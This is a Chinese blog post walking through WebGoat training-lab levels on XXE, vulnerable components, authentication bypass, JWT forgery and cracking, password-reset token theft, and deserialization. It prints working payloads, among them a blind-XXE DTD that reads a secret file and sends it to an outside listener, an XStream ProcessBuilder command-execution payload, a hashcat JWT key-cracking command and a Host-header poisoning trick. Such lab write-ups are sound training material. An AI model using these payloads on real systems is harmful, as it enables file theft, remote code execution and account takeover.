freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

webgoat通关过程系列(三)
黄石的黄石公园 2023-12-28 14:29:02 165724

(A5) Security Misconfiguration

1. XXE

  • 1-4, 这关是需要通过XXE获取服务器的root目录,我们先提交一个看看请求,
    image
    可以看到是xml提交的,获取目录可以用file://协议:

<?xml version="1.0"?>
<!DOCTYPE author [
  <!ENTITY ls SYSTEM "file:///">
]>
<comment>  <text>&ls;</text></comment>

image

  • 1-7,这关目标跟上关一样,但是这关提交数据的格式是json,所以不能直接XXE注入,但是如果开发者不做限制的话,改content-type,也是可以用xml的。所以这关直接改content-type
    image

  • 1-11,这关比较复杂,需要通过XXE盲注获取服务器的一个文件,然后将文件里的内容填入评论。这里要借助webwolf.思路是这样的,先上传一个dtd文件到webwolf,内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-2023.8/XXE/admintest/secret.txt">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?text=%file;'>">

这个文件实现的是 读取文件服务器secret的内容,然后将这个内容通过http请求到webwolf。到时候就可以在wolf看到。然后再请求里注入触发这个dtd.

<?xml version="1.0"?>
<!DOCTYPE author [
  <!ENTITY % ls SYSTEM "http://119.3.108.215:9090/WebWolf/files/admintest/attack1.dtd">
%ls;
%print;
%send;
]>
<comment>  <text>
aaaaa</text></comment>

image
再看webwolf,可以看到secret的内容,这是url编码后的,解码即可:
image

(A6) Vuln & Outdated Components

1. Vulnerable Components

  • 1-5,这里主要是展示同一个组件不同版本会有不同的问题,以jquery-ui为例,这关直接点击即可。

  • 1-12,这关是要根据漏洞CVE-2013-7285
    是想远程执行命令,

<contact class='dynamic-proxy'>
<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
  <handler class='java.beans.EventHandler'>
    <target class='java.lang.ProcessBuilder'>
      <command>
        <string>pwd</string>
      </command>
    </target>
    <action>start</action>
  </handler>
</contact>

A7 Identity & Auth Failure

1. Authentication Bypasses

  • 1-2,这关是重置密码的时候有的不能收到短信,这是需要回到安全问题。然后我们想办法绕过这些安全问题。这里绕过的方法很简单,但是很难想到。不知道到底谁会这么干的。就是改到安全问题的序号,secQuestion0和secQuestion1改成secQuestion3和secQuestion4就可以。
    image

2. Insecure Login

  • 2-2,这关先点击log in按钮,这是会返回一个js,抓包能看到。
    image
    这段代码包含一段16进制字符,我们先转码。转码就直接用chatgpt了(再也不用网上到处找工具了,哈哈)
    image
    可以看到用户名和密码就是数组的0和1,也就是CaptaiJack和BlackPearl

3. JWT tokens

  • 3-4,这关直接将jwt解码可以获得用户名为 user

  • 3-6, 这关是需要我们以admin的权限重置投票结果,默认是guest,先切换tom的身份重置试试,返回结果:
    image
    我们将jwt在wolf解码,发现admin字段是false,改成true。直接这样是不行的,因为jwt还有签名,签名是可以绕过的,只需要将alg改成none.重新生成jwt。注意没有签名jwt第三部分是空,但是那个分隔符点是要的,不然格式不正确。
    image

  • 3-8,看不到题,跳过。

  • 3-11,jwt的key是可以爆破的,这关就是通过爆破获取key,然后重新生成jwt。爆破我们可以用hashcat,kali自带。

hashcat -a 0 -m 16500 jwtstring wordlist

image
得出key是shipping

  • 3-13,这关是要实现使用tom的身份付款,当前的身份是jerry。还提供了一个日志文件。里面也有一个token,解码是tom的,但是日期过期了。所以这关有两个思路,一个是改当前token,把用户改成tom,再重新编码jwt,另一个是改日志文件里的token,改有效时间。不过这两种都会遇到jwt签名的问题。要么设置none绕过,要么爆破获取key。这里我试了字典爆破都没成功就选择绕过了
    image

  • 3-16,

  • 3-18,这两关是jku和kid的比较麻烦,跳过

4. Password reset

  • 4-2, 这一关就是重置密码,在忘记密码页面填入账户,然后在webwolf就能收到。没什么可说的。

  • 4-4,这关是对密码安全问题的爆破,因为有的密保问题太简单了,比如这里的颜色。这关也简单。

  • 4-5,这关直接点就行

  • 4-6,这关是要重置他人密码,我们先用自己账户试下。用自己账户测试,在webwolf会收到一个重置连接,点进去就可以重置密码:
    image
    从这个连接就可以看出,区分用户的是后面的那个token。所以我们要获取tom的token.而token是在邮箱的链接里的,如果我们能拦截到发往邮箱的请求就能获取到token,思路是这样的,但是怎么拦截就是这个问题了。正常都拦不到,这里是看了源码才知道,后端代码是根据请求字段host来发的,所以这里只要改掉host为127.0.0.1:9090,邮件请求就发到我们的webwolf啦。
    image
    然后在webwolf里就能看到请求了
    image

5. Secure Passwords

  • 5-4 这关就是设置一个强度大一点的密码

A8 Software & Data Integrity

1. Insecure Deserialization

  • 1-5 反序列化,这个要看源码了,从源码可以看到反序列化的是VulnerableTaskHolder 这个类,而且只能执行sleep和ping命令。
    image
    我们直接用代码生成序列化字符串
    image

A9 Security Logging Failures

1. Logging Security

  • 1-2,这关不知道啥意思,直接输入admin就过了。

  • 1-4,有的服务初始化的时候会把管理员的初始密码打印在日志里,比如mysql,所以我们可以去日志里找密码,就在启动的时候。
    image

# 网络安全 # web安全 # 内网渗透 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 黄石的黄石公园 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
webgoat通过笔记
黄石的黄石公园 LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 2 关注者
webgoat通关过程系列(四)
2023-12-28
webgoat通关过程系列(二)
2023-12-28
webgoat通关过程系列(一)
2023-12-17
文章目录